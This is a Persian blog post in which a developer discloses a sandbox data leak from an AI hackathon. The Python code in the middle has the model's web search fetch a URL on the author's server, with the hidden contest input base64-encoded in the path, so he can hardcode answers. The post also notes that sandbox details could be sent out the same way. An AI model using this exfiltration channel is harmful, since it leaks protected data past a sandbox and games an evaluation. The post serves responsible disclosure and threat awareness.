
سلام!
من امیرحسینم؛ مهندس نرمافزار و علاقه مند به هوش مصنوعی و امنیت.
توی این مطلب میخوام یه آسیب پذیری جالب و البته خطرناک رو باهاتون به اشتراک بذارم. توی یکی از هکاتون های هوش مصنوعی متوجه یک آسیبپذیری شدم که بهطور مستقیم به نحوه اجرای LLMها برمیگشت و در نهایت باعث نشت داده از برگزارکننده مسابقه میشد !
این فقط باگ معمولی نبود. این باگ، نمونهای جالب از یک سناریوی Data Exfiltration با استفاده از LLM هست ; یعنی جایی که معماری اجرایی LLM ، باعث نشت داده و نقض منطق مسابقه میشد!
داستان از کجا شروع شد؟
ماجرا از جایی شروع شد که توی Divar AI Hackathon که با همکاری Quera برگزار میشد، شرکت کردم. وظیفهمون طراحی یک سری AI Agent بود که هر کدوم باید با ورودی مشخصی، خروجی درستی تولید میکردن.
واقعا مسابقش خیلی جذاب بود و در حین حل سوالات رسیدیم به بخشهایی که باید Agent ما بر اساس یک URL به سؤالات خاصی پاسخ بده. مثلاً:
«ارزونترین لپتاپ توی این صفحه چنده؟»
یا
«مجموع قیمت لیست فلان کالا چقد میشه؟»
نکته جالب این بود که محتوای اون صفحات وب رو در اختیار نداشتیم. فقط URL داده میشد و Agent باید خودش به صفحه سر میزد، اطلاعات رو تحلیل میکرد و پاسخ درست رو میداد.
ما میتونستیم توابع مختلفی رو تعریف کنیم ; مثلاً یه تابع برای واکشی محتوای صفحه یا خواندن فایل و بعد با کمک LLM، تصمیم میگرفتیم که توی هر مرحله، کدوم تابع با چه ورودیای اجرا بشه. اینطوری میشد یه ابزار ساخت که با کمک LLM تصمیم میگرفت کدوم ابزار رو استفاده کنه
بعضی مدلهای جدیدتر مثل GPT-4.1 از Web Search پشتیبانی میکنن؛ یعنی میتونن خودشون URL رو بخونن، محتوا رو واکشی کنن و سؤالات رو پاسخ بدن. .البته فکر کنم قرار نبود این روش رو پیش ببریم :)))
کدی که شرکتکنندهها مینوشتن توی یه محیط ایزوله روی سرورهای Quera اجرا میشد؛ بدون دسترسی مستقیم به اینترنت. تنها استثنا: دسترسی به آدرس api.openai.com برای ارتباط با مدلهای OpenAI.
حالا اینجا یه نکته کلیدی وجود داره: مدلهایی مثل GPT-4.1 که قابلیت Web Search دارن، میتونن خودشون اون آدرسی که بهشون دادی رو بررسی کنن.
سؤال مهم اینجاست:
اگه بتونیم محتوای ورودی مسابقه رو به نحوی از محیط sandbox خارج کنیم، چی میشه؟
آیا میتونیم بفهمیم در مسابقه چه ورودی هایی به برنامه ما داده میشه؟یا حتی یه قدم جلوتر بریم -> آیا میتونیم بفهمیم که Quera چطوری sandbox رو میسازه و بعدا یه راه برای اجرای کد از راه دور (RCE) بسازیم!
پاسخ متأسفانه «بله» بود – و این دقیقاً کاری بود که انجام شد.
قدمبهقدم:
ورودی مسابقه که به تابع ما میرسید رو با base64 رمز کردم.
اون رشته رمزشده رو بهعنوان بخشی از یک URL قرار دادم:https://myserver.ir/{encoded_question}
با یه پرامپت مدل رو مجبور کردم این URL رو دانلود کنه.
مدل با استفاده از Web Search، درخواست GET به اون URL فرستاد.
سرور من درخواست رو لاگ کرد؛ حالا من ورودی مسابقه رو (البته بهصورت رمزشده) داشتم.
با decode کردن اون مقدار، متن کامل ورودی مسابقه در دستم بود.
با دونستن ورودی، میشد خروجی رو hardcode کرد و امتیاز کامل گرفت , بدون هیچ تحلیل یا پردازش خاصی.
🔍 کد نمونه
from openai import OpenAI import base64 class DivarContest: def __init__(self, api_token): self.api_token = api_token self.model = "gpt-4.1-mini" self.client = OpenAI( api_key=self.api_token, base_url="https://api.metisai.ir/openai/v1" ) self.system_prompt = ''' get lowest price of the field in this excel file: https://mydomain.ir/{path} i don't need the python code or anything else, just the lowest price, make sure you download and parse the file. ''' def capture_the_flag(self, question: str): encoded = base64.b64encode(question.encode()).decode() response = self.client.responses.create( model=self.model, input=self.system_prompt.format(path=encoded), tools=[{ "type": "web_search_preview", "search_context_size": "low", "user_location": { "type": "approximate", "country": "IR", "city": "Tehran", "region": "Tehran", "timezone": "Asia/Tehran", } }], temperature=0.1, ) return response.output_text
این نکته رو در نظر بگیرین که من هرچیزی رو میتونستم با base64 انکود کنم و به سرور خودم بفرستم , مثل اطلاعات محیط sandbox!!
این آسیبپذیری رو فوراً و با احترام کامل به تیم دیوار و کوئرا گزارش دادم و برخوردشون هم بسیار حرفهای و قابلتحسین بود.
اما این تجربه، یادآوری جدیای بود برای همه ما که با LLMها و Agentها کار میکنیم.
در ادامه چند تهدید مهم رو مینویسم که باید حواسمون بهش باشه:
Prompt Injection:
وقتی ورودی کاربر مسیر و نیت اصلی prompt رو تغییر میده؛ درست شبیه SQL Injection
Data Leakage:
مدل ممکنه قبلاً به اطلاعات حساسی دسترسی پیدا کرده باشه (مثلاً از طریق context یا search) و با یک prompt خاص اون اطلاعات رو لو بده.
Function Call Abuse:
اگه مدل بتونه بدون محدودیت توابعی رو صدا بزنه، مهاجم میتونه از این قابلیت برای اجرای سناریو های خودش استفاده کنه.
Web Search Injection:
اگه مدل به اینترنت وصله، محتوای صفحاتی که میخونه میتونه دستکاری شده باشه و این یعنی ورودی قابلسم.
اگر شما هم از LLMها توی محصولاتتون استفاده میکنین، شاید بد نباشه یهبار دیگه threat surface کارتون رو مرور کنین. این حملات هنوز رایج نیستن، اما بیتردید در آینده جدیتر و بیشتر میشن.
امیدوارم این تجربه براتون مفید بوده باشه.
ممنون میشم اگه نظرتون رو بهم بگین یا اگه سؤالی داشتین، حتماً در خدمتتونم :)